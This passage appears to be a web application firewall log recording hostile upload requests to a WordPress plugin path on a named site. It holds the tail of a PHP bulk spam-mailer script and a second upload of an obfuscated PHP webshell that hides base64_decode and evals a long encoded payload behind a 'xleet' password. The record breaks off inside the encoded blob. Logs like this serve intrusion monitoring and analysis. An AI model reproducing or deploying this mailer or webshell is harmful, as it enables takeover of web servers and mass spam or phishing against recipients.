id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--fa4d926289c72015766ea7c57817d9ba\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--fa4d926289c72015766ea7c57817d9ba--\r\n"]
["2026-05-26 21:22:27","170.205.30.68","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=b587d66ebc7b0649b810be7275a7cbc1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:73112\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:same-origin\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ywflu.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWMGtxVFNYbmR0WXpzQ0xCUTBCdU5IQzcrOTJENEdGeG1kMjIramFJRUNQeUU0QjJVdWQ2ZWdGdlFxQ1d6RjhGcEdDMERvSmtJVlpVcDVUanJEN1ZPZ2MweVZDdGtPbVZScDJnWE9mZ04zc3NNS3hlTzY0RVlPVm91dWd0VjJBY3RQTnlQMmI0b3Z1eDBUMXlnMUY0WlZ2bWo2YjQ4RUxZdVRuRXVNYkJxblQ1eW91eXJvM2k4ZENGWWpDaGFJSDdCRVVBZWlENkNUaE5PY0VLVjJaN2g5eDlsUER0QUNlc1gyRTY5OXV4Mk9LVml0SElnd0Z0aXhsVURrU2JSNUpsc3hUOHF5c05ZdVBqWkkyQm40V0hzOGl3R0lLV3dKdFhqbFZQMVdObWtDWnlkcU9SRXNjeGpvZjI1b0JDZDdFMnBPd213SzZjZGR6QVB4Q3ZCQlgzSWUwS1FDUkd3U1hDY09vWUY3TXJQV29rTndZUlk4Q2prd2VwNzBTUFVQbEdFK1RNd0RjZTlsT2M1d2ZJSmtyRXkzeUoyVkFIWEdoTXlnTzJRcGRjdE5JT1d0TWJ1dVdZc0ZhWDBLbFJjaDBoWnI4WVNkWHg1d05MVFhSbmFpeHVva1JqQ21xdm5BT3dXbGRDellBRGtvKzcydEhvVlJuWHJzN0JkK2dKYWJsNDdhcEplR2g4TG1Vcy9YNWVTWjJDNGRpN05qaDFrWkVlV0NnSStEZlhwY3g0QkZLNEhTYWFiTWFCdyt1ZTVYcjdCQWFtbWhNWXJUcWhXZm0yMXpkN1dCdXpRVlJ3WWs0SUlEY2VlZE9FaXR4QWxwamNISnZDeXJtakJZbFd5SnozRUR4TzJXeEhFckpqVFkzY2VORGpsRFRweEZoSU0vcDVXbDhibGhCMVhLRDg1YXdmTENwQ05LckFOOElDVDYza2hKL1ltVUpQWG5PRXZmazZSYlZGMXdNWW1DSFphdlM2UVA5TEN5M205Z2M3ZnY4cjhhVDIvd3dXcDY4UkpGK3hVbS9KQXJVVm9HdUZ1VzJoaUhndUxRU1d1QlY3ZE9RTEFHOVJBUnVpbUJKMXNxL2dWa1l4V0pFN0JGKytud1MydndNS1QvVVNyTlR6Vjc4cEgrd0xzSVV4aWgwNFJTMDFUTk1tUjBRN3g2RzVXREJiSmRXZEgyY2d1blpCZVFKaDZmK0VEcXdEV3Fqc0JwdWxKczRLeG5QS3I4SkVYK1BYMlVKNjlDWkdCdjhSL1FwcVpHUTY5OXZEeDlaK0tlazMwTmdnYjh3c1krNXBTNUNmcGxscCtsNGRPSEtGQUJORGttdmRGUWNOaDR3eVJ3R0FtUVBZcnBBcHhMTGpHV1Qyei9kQ1Z1dmdDNDg2MDFScjdBY29LZGxidmhXZUpERXVEb0tsay91d2hBcG13c0Zzd0FKVFdDRmkrWjF3TTNhd2F5QlFKR1JBenVJV0JHeFZDbEZEVWtRL1k0OFZ2bHpUN0d6NlNmeFVZZy9DREJSOWZoQ29qdUU3UXFYSG1TeCthTXExdXkyMUhHdlNIaW1HVzlyRVlFZWFwS1RyemUxUDBJTlg1MFdhMHpxVmNHdkxoVnpvS0xKUnl1TWpob3Noc1I4eEp6aWVCN2ZYQ0Z6cDRIVkhFeDhndGtocnYwTXppN0RqSGNoczJNYWM2cHAzclU0TzFVSjhtRUFRWnNRK0l2aHFpTVpPZ2M4L2VhYmZ5RFBmanNIS1gyR2F1R1htVzR3clEyRUtEM3pDeW1MSTNNN3NnUGdFOFE3cTlRRHNjbkRHSkMydzQxR3VHTGdPQWFUbGxTQUV6ZG0rQ1RKUVVGajJaY3lVSFFETEh4TU5KR3FpakxwZzE0dXlvSlR1bk0wRWtES09paGNFTmhhZ0NmMVIyRUZGUEdnWWYyVUVnK2ZCdGx4Y1BlQ3k1anJ3eHlITXJLQXRTcjdUMGNSdUZZLzRVa2Q5WEtPY0wzRzI2QWVmSmI2RnVUVjBOT2pCMmVyZWFZSFU4eXdsL2FmVjRmVWpEWWVqMDB6b3ltZEFXdStETUZaRjlHcHVkUlRXN0dia1hpS1liUkxRU2FtbXFDYU5uei83MXRGNkpMWC9LZW5wRFdTQldQUzlSRElmOVNiZlNGVUs5MTYvUHFxTHp6VWpjeldRSWFHTUtBdTNZUUFoOGprekFCTmNIdlJqR0R5eXN0KytkaDJib3V5ajZYblpyV0FRYmEyb0lxS3JKdDZ0VlBnUllFMEdHNW9wVkpQanhjTWpqVDV2RDJQUlQwSzZhRTErSXlScGFvTy9MNCswZElJamxiUmlvZTgzWEQrc1UyeDQzeVFyZ0N0RlJRTVlJZHNJWTFndm1UQ3lBd2d2alB3dzBHQlNvdHZ3TkkrRjkzR3c5cVp6NzVFWUxvSmg2M3Fsd3A0UE43UkZTQWZEa3hxdmF6MzMwR1hudW5IVzZ1WTR1K1N4ODAvVjNoMUFUb2FZY0tjVnRBV3JHbWI4WmF4dGR1ZTRGS1B6OGtlT0hLY045Vk9IMW9BOHB5T0FkRnJkQzh0cTVheHFXWW1nbHlwNEFtWTVyZ0ZmUWZpUUNRVHlBdUZGczRLUGpHamhmb0pESjRMWnEvaGlmUkJDdERtRGxMNitCRHdBWW9WRTdzdHBOWWRWbWlqVmNYdnJESUpWZVdjMHhNMzIzYklHZUgvSFR4QWt1TEhvajZ0dVR4QWNxNGF3aU9TTE9CWXZnamh5Wkcyd1dxT3FIVW5sSlduRk52aTExejF2dWVXWTVxSnVGalRlSmhnRXBZUGd2